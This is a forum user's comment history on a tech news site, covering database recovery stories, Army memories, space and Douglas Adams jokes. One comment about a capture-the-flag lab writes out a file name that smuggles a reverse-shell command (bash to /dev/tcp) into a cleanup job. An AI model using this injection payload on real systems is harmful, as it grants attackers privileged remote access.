* Posts by el_oscuro

284 posts • joined 14 May 2014

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Wanna feel old? It is 10 years since the Space Shuttle left the launchpad for the last time

el_oscuro

I remember watching the Enterprise Shuttle's first test flight live. I was in junior high school for the first STS mission.

BOFH: Oh for Pete’s sake. Don’t make a spectacle of yourself

el_oscuro
Coffee/keyboard

Re: Stupidity Cancelling Headset

Thanks. Please see icon

el_oscuro

Re: huh

Now if someone could invent a drive powered by stupidity. It would be an absolutely unlimited resource and make the Bistromathic Drive look like an electric perambulator. Of course, I'm not sure I would want to be on a ship powered by one for some reason.

Intrepid Change.org user launches petition to make Jeff Bezos' space trip one-way

el_oscuro

The other evil overlord

Is actually from a small planet in the vicinity of Betelgeuse. His spaceship crashed on Mars, and he was able to use his rescue pod to hop over the next planet where the strange ape-like beings still though digital watches were a neat idea.

Still they had successfully landed on their moon. How much harder would going to the next planet be? All he had to do is hitch a ride on one of those rockets with a few extra spare parts. But decades after they landed on the moon, they had gone exactly nowhere.

So he developed a payment system for the local version of the sub-ethanet, and used the profits to build his own rocket to get him to Mars, known locally was the BFR.

The common factor in all your failed job applications: Your CV

el_oscuro

I kind of had something like that. The first time I logged into an Oracle production database was to restore it - after Oracle support's top recovery consultant said it was unrecoverable. According to the Oracle6 documentation, he was correct. The client was performing online backups incorrectly. They were set to lose 2 years of data.

This was on someone else's system, and I had never seen the O/S, much less performed any recovery operations on it. But since their online backups were no good, I started asking other questions like whether they had exports or had maybe taken a backup when the database was down.

Turns out the operator had taken a full backup of the system after the original crash and we used that for full recovery.

But even if they hadn't taken that backup, it was still recoverable. You just needed to install the (then new) Oracle7 which had new features to allow recovery in this scenario.

Why Oracle's "Fireman of the Year" didn't ask questions like this, nor knew of the new features of Oracle7 is still something I don't understand.

el_oscuro

Re: Add the latest to the top but don't delete anything

I'm famous like that - and have had a well known nickname for the last 25 years. The last time I actually used a resume was in 1998 - and I didn't take that job.

That story about my resume in 1998 goes way up on the weird shit-o-meter. Several years prior to that, I met my future wife while we were in the Army and she recounted an exercise she was on called "Team Spirit". Every time she was on the base where they had the exercise she had weird premonitions where it seemed like something terrible was going to happen there.

So fast forward to 1998 and my contract has expired. I had interviewed with a consulting firm and they had made me an excellent offer. The comment from the client was "if he is half as good as his resume, he will do fine here". Meanwhile my former project manager who worked for Oracle wanted me on a new contract they were starting up. So I had a 2 minute phone interview and Oracle Fed-Exed my offer to me the following morning. That same morning, my girl friend told me she was pregnant with my first child. With obviously a lot more influence in my life now, we discussed the 2 offers I had. She said: "Remember that premonition I had during Team Spirit? I think you should take the Oracle offer instead".

So I listened to her and took the Oracle offer. Had I not listened to her, I would have been in the Pentagon on 9/11.

el_oscuro

Re: Different types don't match well

I typically interview people for senior DBA positions. And to me, the number one job of any DBA is knowing how to backup databases - and restore from those backups.

Typically I just listen in on the interview while the other DBA's conduct it. But I always ask one question: Have you ever had to restore a database from your backups and if so, please describe how you did it.

This is a totally free form question - there are many ways this can be done. But for all of the senior DBA positions I think maybe one has even attempted to anwser that question.

Whoop! Robot/human high-fives all round! Oh, my fingers have disintegrated

el_oscuro

Kindle: Hold my beer

I have a paper white Kindle which has an ad for a book I might want to read based on past purchases. But most of the time, the recommendations are books I have already read - on that same Kindle. Sometimes the ad is for the book I am actually reading right now.

The server is down, money is not being made, and you want me to fix what?

el_oscuro

Re: Constantly, in a fashion.

Well at a data center I worked at while I was in Germany, all of the equipment was brand new. The reason why is they had a trash can fire about a year before I started. The problem is, it activated the sprinkler system, and it wasn't just water. It was some highly corrosive agent which made all of the previous equipment look like it had been in the bottom of the ocean for 20 years.

el_oscuro

Re: On call

Back in the 90's, I left a government contract for another one, then got hired back to it 6 months later. When I showed up on the first day, the senior government accounting official was waiting for me and had a list of long distance calls I had made from the government phone.

Most of these were to the Oracle support number, while a few others were to my home number to check messages (on this side of the pond, phone companies would charge extra for in-state "long distance" calls). After going through all of these, the total price of the "long distance" calls to my home number was $1.25, which I paid on the spot with spare change in my pocket.

This whole mess took me about 15 billable minutes at $50 an hour, plus however many hours the senior accounting official spent researching it.

Pics or it didn't happen: First images from China's Mars rover suggest nothing has gone Zhurong just yet

el_oscuro

Re: Cold War II in SPAAAAAAAAAAAACE....

SpaceX's entire corporate mission:

https://youtu.be/53ARrp7x4bQ?t=107

el_oscuro
Mushroom

Wait until Opportunity tracks it down.

https://xkcd.com/1504/

You want a reboot? I'll give you a reboot! Happy now?

el_oscuro

Re: Background

I have considered using different background colours for dev/test/prod/etc but found it doesn't always work - especially if you have to ssh from one to another. And these days we always have to use jump servers so we can't tie the colour to a specific server.

So changing the prompt color is the way to go.

el_oscuro
Mushroom

Re: Background

When I was a lowly corporal, I had already been through my Pointy-Haired WO and survived without incident. We were running mainframe cycles for supply and finance in West Germany, and I had made some updates to the monthly financial cycle so the JCL jobs would get released automatically at the correct time, reducing errors. I also made some minor changes to the print job, which was submitted after the cycle was complete. Normally these jobs worked without issues and were an afterthought.

But when the cycle ran the first time with my changes, I was out of town. Of course, something went wrong with the print job, and the operator followed the SOP to fix it. They would have called me but I was out of town. And directly as a result of my changes, the deleted all of the temporary spool files without printing them.

The books were perfectly balanced and the databases updated, but the client had no output. They wanted it, along with my head on a 6250BPI platter.

Many hours later after a lot of Fast Dump/Restores, we were able to produce the output. I owed my cow-workers lots of bier after that.

Yep, you're totally unique: That one very special user and their very special problem

el_oscuro

Re: Not too many decades ago ...

https://www.mit.edu/people/dmredish/wwwMLRF/links/Humor/Mouse_Balls.html

el_oscuro

Re: Not too many decades ago ...

I actually remember the Mouse Balls one.

The Great Borkish Breakfast: I'll have a cup of tea, a sausage roll and a side of bork, please

el_oscuro

Re: A coffee, sausage roll and a Windows license please

But most of those are just images of kernel panics or application crashes, along with a few windows BSODs. I only saw one that was on an actual public page (the Warsaw train)

Apple, forced to rate product repair potential in France, gives itself modest marks

el_oscuro

Re: In days of yore

In the US Army, it still is. It is called Preventive maintenance checks and services (PMCS), and used for all equipment. Maintenance charts are required for everything, and the goal is that soldiers understand their equipment and and fix it in the field if needed.

el_oscuro
Boffin

Re: Extend to cars

The first computer I programmed was a Heathkit H-9 in which my Dad (with a little help from me) assembled. The instruction manuals that came with these kits were legendary in there detail. While some components like the keyboard and floppy disk drive were mostly pre-assembled, you had had to solder every chip, diode, resister, etc to the motherboard yourself. I remember helping him with the flyback transformer that was installed on the neck of the CRT tube.

The Linux box that runs the exec carpark gate is down! A chance for PostgreSQL Man to show his quality

el_oscuro

I had something like that too. A new contractor bid for our contract which involved a large critical system. But they asked for all of us greybeards to take a 30% paycut. When most of us balked, the company made offers to us to work in another division. So several of us took the offer.

One of the systems that I managed had a service account which connected to servers from several different groups, and my admin account was the only one that had the correct A/D permissions. Several attempts to get the A/D group to set up a proper service account were unsuccessful.

So several weeks before the transition I informed the incoming management that they would have to replace my admin account. The very last thing I did was email them to *make sure you change this service account and verify the new one works before deleting mine*.

So 2 weeks later, I got a panicked call: "The system went down when we deleted your account." I was like "you deleted my account? Didn't I brief you both in person a follow up email? And why did you delete it instead of just disabling it?"

"What can we do?" "I have no idea. I have never managed A/D and don't even know who to call." Eventually they got it working, but over the next year I would get called in several times to fix their messes, all at my original salary.

SpaceX Starship blows up on landing, Elon Musk says it's the data that matters and that landed just fine

el_oscuro

Re: re: Go SpaceX

Oh, and he is helping with climate change too. Before Tesla, no one was even thinking or making an actual electric car. Now we see them every day, and none of them has an exhaust pipe.

I think he really wants to get back to his volcanic lair on Olympus Mons.

el_oscuro

Re: proved it can do everything that SpaceX has claimed it would be able to do

Actually, I think Musk used that exact quote in one of his tweets.

A 1970s magic trick: Take a card, any card, out of the deck and watch the IBM System/370 plunge into a death spiral

el_oscuro
Linux

Re: Broken NFS

Everything old is new again. Working on CTF in Hackthebox, I had a reverse shell but couldn't really do anything with it. There was only one log directory that was writeable, but I eventually figured out there was a cleanup job that deleted the files. By creating a filename with shell characters in it, I was able to get command execution with higher privileges when that process ran by naming the files something like:

hello.c; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

The hard part was figuring out how to get the special characters in the name. I don't remember what I had to do, but it can definitely be done.

'We've heard the feedback...' Microsoft 365 axes per-user productivity monitoring after privacy backlash

el_oscuro

Re: I don't understand

I spent 15 minutes unsuccessfully trying figure out how to do a "save as..." in whatever the current version of word is.

Master boot vinyl record: It just gives DOS on my IBM PC a warmer, more authentic tone

el_oscuro

Re: MP3?

Of course the issue is, it would load just as slow as the cassette. While any modern device is several orders of magnitude faster, It still has to be converted to an audio signal that the old cassette interface could read.

el_oscuro

Re: Ah, happy memories...

I remember getting those inside Mad Magazine. Why doesn't El Reg have a "What, me worry?" icon?

Mysterious metal monolith found in 'very remote' part of Utah

el_oscuro
Alien

There is another monolith

A few years ago in Arlington, VA, they were tearing down an old office building near my work and putting up a new one.

The problem was, when they dug down to about 40 feed, then encountered an unknown object they couldn't move. None of the equipment they had could move it. It was dubbed the Monolith. Eventually, they simply constructed the parking garage around it.

Halt don't catch fire: Amazon recalls hundreds of thousands of Ring doorbells over exploding battery fears

el_oscuro

Re: Whilst I know..

Some years ago, I was installing a sub woofer in my old Camaro. Those suckers are heavy, and you have to mount them securely. Some people used Velcro, but that isn't going to stop it from becoming a 20 pound missile in an accident. Screws are required.

But the most obvious location is the shelf behind the back seats, but guess what is right under it? The fuel tank of course. I definitely did not want to be driving screws anywhere near the explodey gasoline.

So yes, keeping sharp things away from explodey bits is a very good design decision.

Future airliners will run on hydrogen, vows Airbus as it teases world-plus-dog with concept designs

el_oscuro

Re: Looks good to me

This being a British website, how come there aren't any references to the R101? https://en.wikipedia.org/wiki/R101

Don't panic: An asteroid larger than the Empire State Building is flying past Earth this weekend but we're just fine

el_oscuro

Re: Ignore clickbait?

Maybe you should have 3. I think that is the required amount (plus peanuts) required to successfully use the Electronic Sub-Etha Signaling Device.

Lenovo certifies all desktop and mobile workstations for Linux – and will even upstream driver updates

el_oscuro
Linux

My first Linux laptop was a Dell - which came preloaded with Ubuntu 7.10. Dell has offered Linux laptops for a very long time.

All-electric plane makes first flight – while lugging 2 tons of batteries aloft

el_oscuro

Re: The video

There is a lot of drag taking off from the water that engine has to overcome that doesn't exist from a normal runway. That plane would probably take off from a runway in like 100 feet.

el_oscuro
Boffin

Re: Compulsory El Reg commentary moan

To torture this a little bit more, here is a car analogy, also poked around from teh Interwebs:

Tesla Model 3: 3,552 to 4,100 lbs and a range of 250 to 322 miles.

Toyota Camry: 3,241 to 3,572 lbs and a range of about 450-500 miles

So electric is heavier and has less range, but difference isn't quite as much as most people think.

Beer gut-ted: As many as '70 million pints' spoiled during coronavirus pandemic must be destroyed in Britain

el_oscuro

Re: K'in eejets.

Over on this side of the pond, most standard beers come in at 5%, while the light ones are usually about 4%. German standard bier like Pils and Export usually have about 4.8-4.9%. Bocks and such have more.

I have never heard of a 2% beer.

Psst... Wanna buy some stock in a spaceplane company? Virgin would like a word

el_oscuro

Re: Galactic?

I though it was pretty cool - back in 2004. Since then, SpaceX has managed to get a Falcon 1 into orbit, Falcon 9, reuse, Falcon Heavy into a Mars orbit, and has actually flown Starship at least a little bit.

Meanwhile their competition, Virgin Galactic and Blue Origin?

Crickets...

Data centre reveals it modeled interiors on The Hunt for Red October sets

el_oscuro

Re: Remodelling

Elon Musk's secret volcano lair is in Olympus Mons.

el_oscuro

Re: Remodelling

I think it is because the gravity is wonky on the Moon. Different rock densities cause it to vary and things that orbit too close tend to crash.

el_oscuro

Re: They got it WRONG

If you really want to go down a rabbit hole, check out Blind Man's Bluff:

https://www.amazon.com/Blind-Mans-Bluff-Submarine-Espionage/dp/0099409984

We beg, implore and beseech thee. Stop reusing the same damn password everywhere

el_oscuro
Linux

Re: OK, sp which password manager to plump for?

Bitwarden?

el_oscuro
Coffee/keyboard

Re: Nope cant be arsed.

No comment required

el_oscuro

Thanks. You gave me a word list where my commentard account can generate Markov Chain comments like those used in The Automatic Donald Trump

https://filiph.github.io/markov/

el_oscuro

Re: scott

welcome1 is the new hotness

el_oscuro

Re: OK, sp which password manager to plump for?

You must have accidently added a unicode U+202e Right-to-Left Override in your comment.

el_oscuro

Re: If you don't ..

I have a script which generates a list of passwords from /dev/random and a word list of my choosing. I can specify the delimiters, capitalized, number of words/characters, added numbers, etc, that will match any arbitrary password requirements while still being easy to type. I just pick the one I want from the list and since it came from /dev/random, it isn't going to be easy to guess.

I use these for accounts where I have to actually still type the password, but for everything else I use bitwarden.

el_oscuro
Facepalm

Re: In other news....

If a site requires me to create an account to buy something, I usually don't. I just go elsewhere where they accept Paypal.

At least for me, having an account requirement is kind of like putting your merchandise in a disused basement lavatory with a sign on the door that says: "Beware of the leopard" .

el_oscuro

Re: In other news....

How did you guess my password?

el_oscuro
Boffin

Re: In other news....

If you have Firefox, try this:

https://lifehacker.com/enable-copy-paste-in-web-pages-that-disallow-it-with-a-1601848114

OK brainiacs, we've got an IT cold case for you: Fatal disk errors on an Amiga 4000 with 600MB external SCSI unless the clock app is... just so

el_oscuro
Coffee/keyboard

Oracle, Windows, and keyboards

About the same time, a user was having problems with Oracle*Forms on Windows. It would GPF all the time. I opened a service request and troubleshooted for a while. Then they asked what type of keyboard the user had. He had one of those Microsoft "Natural" keyboards, which apparently had some sort of conflict with Oracle*Forms.

Several years later, I told that story to another consultant: She was "OMFG - we had that same issue too. But we never solved it - we tried reinstalling Windows, a new PC, everything. But the one thing that was in common was the users keyboard.

BOFH: Will the last one out switch off the printer?

el_oscuro

Re: Boss's hairy throat

I think I might have to have that scene in "Airplane!" where they are driving to the airport in the Mustang.

el_oscuro
Windows

Re: Boss's hairy throat

I just had my first video call today. Somehow, my picture didn't break the camera, though I think it was about to before I quietly turned it off and just listened to the meeting.

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